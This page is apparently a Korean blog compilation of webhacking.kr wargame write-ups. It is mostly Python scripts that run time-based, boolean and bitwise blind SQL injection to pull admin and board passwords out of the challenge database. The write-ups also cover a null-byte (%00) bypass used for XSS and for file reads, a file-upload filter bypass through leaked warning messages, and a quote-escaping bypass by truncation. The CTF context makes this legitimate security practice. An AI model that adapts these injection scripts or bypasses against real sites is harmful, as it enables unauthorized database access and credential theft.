if문+sleep을 이용한 blind sql injection



#webhacking 57 import http.client import time import string con=http.client.HTTPConnection('webhacking.kr') def sql(se): head={'Host':'webhacking.kr'} head['Upgrade-Insecure-Requests']=1 head['Cookie']='id=aaaa; PHPSESSID=ddddd' bf=time.time() con.request('GET','/challenge/web/web-34/index.php?msg=111&se='+se,headers=head) r=con.getresponse().read() af=time.time() return af-bf>=4 #print(sql('if(length(pw)=10,sleep(5),0)')) arr=string.ascii_letters+'1234567890' pw='' for i in range(1,11): for j,a in enumerate(arr): q='if(ascii(substring(pw,%d,1))=%d,sleep(5),0)' %(i,ord(a)) t=sql(q) #print(q) print(a) if t: pw+=a print(pw) break print(pw)


table명은 게싱

freeboard와 admin의 password를 blindsqlinjection하고 board에서 주는 zip파일을 adminpage에서 admin 비번을 넣고 받은 비번으로 압축해제하면 key를 얻는다. 


#webhacking.kr 2번 

import http.client
import urllib
import string
def inj(q):
	con=http.client.HTTPConnection('webhacking.kr')
	head={'Host':'webhacking.kr'}
	head['Upgrade-Insecure-Requests']=1
	head['Cookie']='id=aaa; PHPSESSID=ddddd; time=1487488213 and '+q
	con.request('GET','/challenge/web/web-02/',headers=head)
	r=con.getresponse().read()
	#print(r)
	return b'09:00:01' in r

#print(inj('(select length(password) from admin)=10;'))
arr=list(string.ascii_letters+'1234567890')
print(arr)
adminpw=''
table='admin' #FreeB0aRd
for i in range(5,6):
	for a in range(95,100):
		q='(select ascii(substring(password,'+str(i)+',1)) from admin)='+str(a)+';'
		print(q)
		t=inj(q)
		print(chr(a))
		print(t)
		if t:
			adminpw+=a
			print(adminpw)
			break
	
for i in range(5,11):
	for j, a in enumerate(arr):
		q='(select ascii(substring(password,'+str(i)+',1)) from '+table+')='+str(ord(a))+';'
		print(q)
		t=inj(q)
		print(a)
		if t:
			adminpw+=a
			print(adminpw)
			break


print(adminpw)
adminpw='0nly_admin'
freeboardpw='7598522ae'


<?
$hidden_dir
="???";

$pw="???";

if(
$_FILES[up])
{
$fn=$_FILES[up][name];
$fn=str_replace(".","",$fn);
if(
eregi("/",$fn)) exit("no");
if(
eregi("\.",$fn)) exit("no");
if(
eregi("htaccess",$fn)) exit("no");
if(
eregi(".htaccess",$fn)) exit("no");
if(
strlen($fn)>10) exit("no");
$fn=str_replace("<","",$fn);
$fn=str_replace(">","",$fn);
$cp=$_FILES[up][tmp_name];

copy($cp,"$hidden_dir/$fn");

$f=@fopen("$hidden_dir/$fn","w");
@
fwrite($f,"$pw");
@
fclose($f);

echo(
"Done~");

}


?>


warning메시지가 노출될 수가 있는데 이를 이용해서

마지막에 필터링되는 문자열을 넣어서 ('<>'같은)문자를 넣어서
fn을 아무것도 없게 만들어주면 
b>Warning</b>:  copy(dkanehdkftndjqtsmsdlfmadmlvhfejzzzzzzzzzkkkkkkkkggggggggg/) [<a href='function.copy'>function.copy</a>]
이와같은 warning메시지를 보여주게 된다. 여기서 $hidden_dir를 알아낼수 있고
아무 파일이나 만들어서 디렉토리로 들어가서 보면flag를 찾을 수 있다.


import http.client
import urllib

pwlen=20

def injection(q):
        c=http.client.HTTPConnection('webhacking.kr')
        head={'Host':'webhacking.kr'}
        head['Upgrade-Insecure-Requests']='1'
        head['Cookie']='id=rbc; PHPSESSID=98d235f45fb18e9188e6c7d13a5751cc'
        c.request('GET','/challenge/web/web-31/rank.php?score=0%20and%20'+urllib.parse.quote(q),headers=head)
        #print(c.getresponse().read().decode())
        return 'localhost' in c.getresponse().read().decode()

p='1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?!@#$%^&*()~`[]\\'
ans=''
for i in range(pwlen):
        for j in p:
                print(j)
                if(injection('right(left(pAsSw0RdzzzZ,'+str(i+1)+'),1)='+hex(ord(j)))):
                        ans+=j
                        print(ans)
                        break

print(ans)

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr]2번-blindsql  (0) 2017.02.19
[webhacking.kr] 41번  (0) 2017.02.01
[webhacking.kr]22번 blind sql injection binary search  (0) 2017.01.30
[webhacking.kr 21]blind sql injection  (0) 2017.01.30
[webhacking.kr] 6번 100pt  (0) 2017.01.18
import http.client
import urllib
import math
def fetch_string(statement):
    # skip fetching length
    length = 32

    ret = ''
    for i in range(1, length + 1):
        tmp =''
        for x in range(8):
            tmp += '1' if test('ord(mid(%s,%d,1))&%d'%(statement,i,2**x)) else '0'
            #tmp+=
        print(tmp[::-1])
        print(tmp)
        ret+=chr(int(tmp[::-1],2))
        print(ret)
        
    return ret
def test(cond):
    c = http.client.HTTPConnection('webhacking.kr')
    head={'Host':'webhacking.kr'}
    head['Upgrade-Insecure-Requests']='1'
    head['Content-Type']='application/x-www-form-urlencoded'
    head['Cookie']='id=rbc; PHPSESSID=7e74a61eb46338352194ab8d2d1535db'
    _body='uuid=admin%27+and+{}%23&pw=123'.format(urllib.parse.quote(cond))
    c.request('POST','/challenge/bonus/bonus-2/index.php',headers=head, body=_body)
    res=c.getresponse().read().decode()
    return 'Wrong!' not in res
fetch_string('pw')

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 41번  (0) 2017.02.01
[webhacking.kr]55번 left right을 이용한 blind sql  (0) 2017.01.31
[webhacking.kr 21]blind sql injection  (0) 2017.01.30
[webhacking.kr] 6번 100pt  (0) 2017.01.18
[webhacking.kr]23번 200pt  (0) 2017.01.18

import http.client import urllib import time def _try(no): c = http.client.HTTPConnection('webhacking.kr',80) head={'Cookie':'PHPSESSID=xxx'} head['Host']='webhacking.kr' head['Upgrade-Insecure-Requests']='1' c.request('GET','/challenge/bonus/bonus-1/index.php?no='+urllib.parse.quote(no),headers=head) res=c.getresponse().read().decode() return 'True' in res arr='1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKlMNOPQRSTUVWXYZ' q1='2 and ascii(substr(pw,' q2='))=' pw='' for i in range(19): print(i) for j in arr: print(q1+str(i+1)+','+str(i+1)+q2+str(ord(j))) if(_try(q1+str(i+1)+','+str(i+1)+q2+str(ord(j)))): pw+=j print("find") break print(pw)


base64라는 힌트가 있었고

user와 password cookie값을 20번 decoding했을때

admin이 나오면 성공이라고 했다.


for(
$i=0;$i<20;$i++) 

    
$decode_id=base64_decode($decode_id); 
    
$decode_pw=base64_decode($decode_pw); 


숫자 필터링은 신경쓸 거 없었고

그냥 admin을 20번 encoding하면 끝


from base64 import *
id=b'admin'

for i in range(20):
	id=b64encode(id);

print(id)

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr]22번 blind sql injection binary search  (0) 2017.01.30
[webhacking.kr 21]blind sql injection  (0) 2017.01.30
[webhacking.kr]23번 200pt  (0) 2017.01.18
[webhacking.kr] 25 150pt  (0) 2017.01.10
webhacking.kr 39 100pt  (0) 2017.01.05

php 문자열 필터가 되는 듯하다


알파벳이 연속으로 두개만 들어가도 바로 no hack이 뜬다

php에서는 http method의 입력검증 필터링을 위해 eregi ereg같은 함수를 쓴다

php 버전에 따라 filter가 되는 것도 있지만 이 함수들은 %00을 만나면 문자열이 끝나다고 생각하고 

필터링을 멈춘다.

그래서 %00<script>alert(1);</script>를 넣어봤다


성공


**

이는 ereg 같은 함수들이 POSIX정규식을 쓰기 때문이라는데

이러한 문제때문에 요즘은 PCRE 정규식을 요구한다고 한다.

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr 21]blind sql injection  (0) 2017.01.30
[webhacking.kr] 6번 100pt  (0) 2017.01.18
[webhacking.kr] 25 150pt  (0) 2017.01.10
webhacking.kr 39 100pt  (0) 2017.01.05
[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조  (0) 2016.12.16


첫 화면이다

?file=hello를 보내는 걸 보니

readfilename=$_GET['file']+.txt 이런식으로 파일을 읽을 것 같다.

우리의 목표는 password.php를 읽는 것이고 

그 말은 즉 뒤에 .txt가 있는 코드가 있다는 것인데

.txt를 무시하는 방법은

filename도 문자열이기 때문에 끝처리를 null로 해버리면 뒤에를 읽지 않는다는것


?file=password.php%00


password를 찾을 수 있다.

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 6번 100pt  (0) 2017.01.18
[webhacking.kr]23번 200pt  (0) 2017.01.18
webhacking.kr 39 100pt  (0) 2017.01.05
[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조  (0) 2016.12.16
[webhacking.kr]sql injection 18  (0) 2016.12.16

처음에 박스에 아무값이나 넣어보면 다음과 같이 warning이 뜬다.

index.phps를 봐보자





index.phps를 보면 다음과 같다


warning이 뜨는 이유는 sql query문에 있다

select 'good' from zmail_member where id='$_POST[id]


여기서 id에 '가 하나 없다

그렇다면 id에 '하나를 붙여주면 되지만

$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);


에서 "\\"가 ""로 "'"가 "''"로 replace되어버린다

하지만 그다음 문을 보면

$_POST[id]=substr($_POST[id],0,15);

로 0~15자로 글자수가 제한 되어있다

즉 '가 ''로 replace되어도 글자수의 바운더리로 무시할 수가 있다


admin         '

를 보내면 ' 가 ''로 바뀌어도 id에는 admin           '

가 들어가게 된다


그러면 clear


'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr]23번 200pt  (0) 2017.01.18
[webhacking.kr] 25 150pt  (0) 2017.01.10
[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조  (0) 2016.12.16
[webhacking.kr]sql injection 18  (0) 2016.12.16
webhacking.kr 14번 100pt  (0) 2016.12.07

+ Recent posts